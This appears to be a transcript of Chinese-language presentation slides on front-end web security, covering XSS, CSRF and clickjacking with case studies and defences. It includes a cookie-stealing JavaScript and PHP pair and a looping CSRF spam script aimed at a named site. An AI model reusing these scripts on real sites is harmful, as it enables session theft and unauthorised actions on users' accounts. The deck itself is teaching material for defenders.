f2e security

Post on 28-Jan-2015

112 Views

Category:

Technology

3 Downloads

Preview:

Click to see full reader

DESCRIPTION

 

TRANSCRIPT

前端安全概览及防范明城

关于

2

明城

安全第一

3

4

内容提要• 常见攻击手法– XSS– CSRF– Clickjacking

• 综合案例• Q&A

我们的航海图

XSS,潘多拉的造盒匠

XSS 不像 CSS 那么优美

跨站脚本攻击(Cross-site scripting,通常简称为 XSS)是一种网站应用的安全漏洞攻击,允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响。

典型的 XSS 注入

XSS 的危害

• 盗取用户Cookie• 修改页面DOM• 作为其他攻击的跳板• …

案 例

Yupoo 的 XSS 漏洞

漏洞利用原理

用 Yupoo 某处的 XSS 盗取用户 Cookie 信息,然后伪造 Cookie 模拟登陆。

哦也,发现个 XSS

不要小看这个 alert,这表明你已经拥有了对这页面的控制权!

构建攻击脚本客户端(Javascript)

服务器端(PHP)

var img = new Image();img.src = 'get_cookie.php?var='+encodeURI(document.cookie);

<?phpif (isset($_GET['var'])) { file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));}

“不是技术问题”的技术问题

事情到这步,就不仅要看人品,更要看相貌了!

“鱼”上钩了!

于是乎,通过这个XSS漏洞,我们就获取到了这家伙的Cookie。

伪造 Cookie 并模拟登录

那么,如何防范 XSS

• Filter input,Escape output(过滤输入,转义输出)• 严格控制 Cookie域• 禁用客户端脚本 noscript?

淘宝的“混沌之初”

淘宝的解决之道

•“金钟罩”白名单机制• 人件

CSRF,苏醒的巨人

学术化的定义

CSRF(Cross Site Request Forgery)是伪造客户端请求的一种攻击,字面上的意思是跨站点伪造请求。

CSRF 的危害

借用被攻击者在目标站点上的权限,进行不被期望的操作。

“杯具”如何发生?

<img src=“http://.../del.php?id=64” />

案 例

叽歪的 CSRF Spam

漏洞利用原理

使用客户端脚本自动提交叽歪未经验证的表单

分析代码(HTML)

分析代码(JS 部分)

构建表单

<form action="http://jiwai.de/wo/status/update" method="post">

<textarea name="jw_status"></textarea> <input type="submit" /> </form>

测试表单

• 测试表单提交通过• 同时发现 叽歪 并不区分 GET 和 POST 请求

• 第二点是致命的

升级攻击脚本

setInterval(function() { var img = new Image(); var message = '明城很帅'; var api = 'http://jiwai.de/wo/status/update';

img.src = api + '?jw_status=' + message + '&t=' + +new Date();

}, 1000);

剩下就是相貌问题了

“小姑娘,帮叔叔打开个页面好不好?”

软磨硬泡后⋯ 得手了!

又轮到淘宝了⋯

构建表单,发送 POST

访问后,发生了什么?

然后呢?

那么,如何防范 CSRF

• 正确使用 GET、POST 和 Cookie• 使用 Referer 判断请求来源• 在请求中使用 Token•不要打开陌生的链接

淘宝的解决之道• 整站追加 _tb_token_

• 严格的来源请求(Referer)

Clickjacking, 隐身的吸血鬼

原 理

配合用户无意识的交互行为进行的攻击

案 例

Twitter 的 Clickjacking 攻击

“漏洞”利用原理

1. 使用 iframe 嵌入 Twitter 页面并将其透明度设置为0(即不可见)

2. 然后将“发布”按钮与页面需要用户点击区域重合

3. 用户本意点击这块区域实际上点击的是 Twitter 的发布按钮

示意图

防范之道

• 考虑页面被嵌入的情况• 验证请求来源

再次“八卦”下淘宝

其他攻击方式

综合攻击案例

海内的 CSRF 蠕虫攻击

来点“和谐”的

淘宝的案例

问题:如何给第三方应用传送信息,但不泄漏本站所有信息(Cookie、Session等)?

XSS & CSRF 的“妙用”

• 在第三方插入段淘宝的“JS 脚本”• 淘宝收到请求,并判断用户登录状态• 根据登录状态跳转到淘宝页面或者输出对应的数据

路在何方?

Q&A

联系方式

var 明城 = { Gtalk: i.feelinglucky#gmail.com,Twitter: @feelinglucky, Blog: http://www.gracecode.com/}

'alert(/tHx/)'.replace(/.+/, eval);

top related